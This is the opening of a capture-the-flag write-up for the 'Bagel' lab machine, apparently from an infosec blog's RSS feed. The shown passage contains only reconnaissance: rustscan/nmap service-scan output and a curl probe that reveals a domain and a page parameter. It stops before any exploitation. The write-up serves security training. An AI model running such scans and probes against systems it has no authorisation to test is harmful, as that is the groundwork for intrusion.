<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Dll Decompiling on CrippledMind's InfoSec Journal</title><link>https://crippledmind-infosec-journal.netlify.app/tags/dll-decompiling/</link><description>Recent content in Dll Decompiling on CrippledMind's InfoSec Journal</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sun, 30 Jun 2024 18:26:06 +0530</lastBuildDate><atom:link href="https://crippledmind-infosec-journal.netlify.app/tags/dll-decompiling/index.xml" rel="self" type="application/rss+xml"/><item><title>Bagel</title><link>https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/</link><pubDate>Sun, 30 Jun 2024 18:26:06 +0530</pubDate><guid>https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/</guid><description>&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;ul>
&lt;li>&lt;strong>Machine Name:&lt;/strong> Bagel&lt;/li>
&lt;li>&lt;strong>IP Address:&lt;/strong> 10.10.11.201&lt;/li>
&lt;li>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/li>
&lt;/ul>
&lt;h2 id="information-gathering">Information Gathering
&lt;/h2>&lt;p>I started scan with &lt;a class="link" href="https://github.com/RustScan/RustScan" target="_blank" rel="noopener"
>&lt;code>rustscan&lt;/code>&lt;/a>, found port 22, 5000 and 8000 ports open.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">PORT&lt;/span> &lt;span class="n">STATE&lt;/span> &lt;span class="n">SERVICE&lt;/span> &lt;span class="n">REASON&lt;/span> &lt;span class="n">VERSION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">22&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">ssh&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">OpenSSH&lt;/span> &lt;span class="mf">8.8&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">protocol&lt;/span> &lt;span class="mf">2.0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">hostkey&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="mi">6&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">13&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">41&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">f2&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">fe&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">d9&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">e0&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">f7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">27&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">ed&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">ed&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">cc&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">68&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">c2&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ECDSA&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ecdsa&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">sha2&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">nistp256&lt;/span> &lt;span class="n">AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEwHzrBpcTXWKbxBWhc6yfWMiWfWjPmUJv2QqB&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">c2tJDuGt&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">97&lt;/span>&lt;span class="n">OvgzC&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">Zs31X&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">IW2WM6P0rtrKemiz3C5mUE67k&lt;/span>&lt;span class="o">=&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="mi">80&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">a7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">cd&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">e7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">db&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">95&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">86&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">65&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">98&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ED25519&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ed25519&lt;/span> &lt;span class="n">AAAAC3NzaC1lZDI1NTE5AAAAINnQ9frzL5hKjBf6oUklfUhQCMFuM0EtdYJOIxUiDuFl&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">5000&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">upnp&lt;/span>&lt;span class="err">?&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">fingerprint&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">strings&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">GetRequest&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">17&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTPOptions&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">34&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Help&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">44&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">52&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Alive&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">request&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">parts&lt;/span>&lt;span class="p">).)&lt;/span>&lt;span class="o">&amp;lt;/&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">RTSPRequest&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">17&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">54&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Alive&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">request&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">version&lt;/span>&lt;span class="p">).)&lt;/span>&lt;span class="o">&amp;lt;/&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">SSLSessionReq&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">TerminalServerCookie&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">45&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">52&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Alive&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">request&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">parts&lt;/span>&lt;span class="p">).)&lt;/span>&lt;span class="o">&amp;lt;/&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">TLSSessionReq&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">46&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">52&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Alive&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">request&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">parts&lt;/span>&lt;span class="p">).)&lt;/span>&lt;span class="o">&amp;lt;/&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">8000&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">http&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">Werkzeug&lt;/span> &lt;span class="n">httpd&lt;/span> &lt;span class="mf">2.2.2&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Python&lt;/span> &lt;span class="mf">3.10.9&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">methods&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="n">Supported&lt;/span> &lt;span class="n">Methods&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">OPTIONS&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="n">HEAD&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">header&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Werkzeug&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.2.2&lt;/span> &lt;span class="n">Python&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">3.10.9&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Did&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">follow&lt;/span> &lt;span class="n">redirect&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">bagel.htb&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8000&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="err">?&lt;/span>&lt;span class="n">page&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">index.html&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="port-8000">Port 8000
&lt;/h3>&lt;p>Nmap scan shows this port running a werkzeug server. To get the domain name, i did a curl request, and added it to &lt;code>/etc/hosts&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">curl&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">v&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.11.201&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8000&lt;/span>&lt;span class="o">/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">*&lt;/span> &lt;span class="n">Trying&lt;/span> &lt;span class="mf">10.10.11.201&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mf">8000.&lt;/span>&lt;span class="o">..&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">*&lt;/span> &lt;span class="n">Connected&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="mf">10.10.11.201&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mf">10.10.11.201&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">port&lt;/span> &lt;span class="mi">8000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">Host&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">10.10.11.201&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">User&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Agent&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">curl&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">8.6.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">Accept&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="o">*/*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">302&lt;/span> &lt;span class="n">FOUND&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Werkzeug&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.2.2&lt;/span> &lt;span class="n">Python&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">3.10.9&lt;/span>
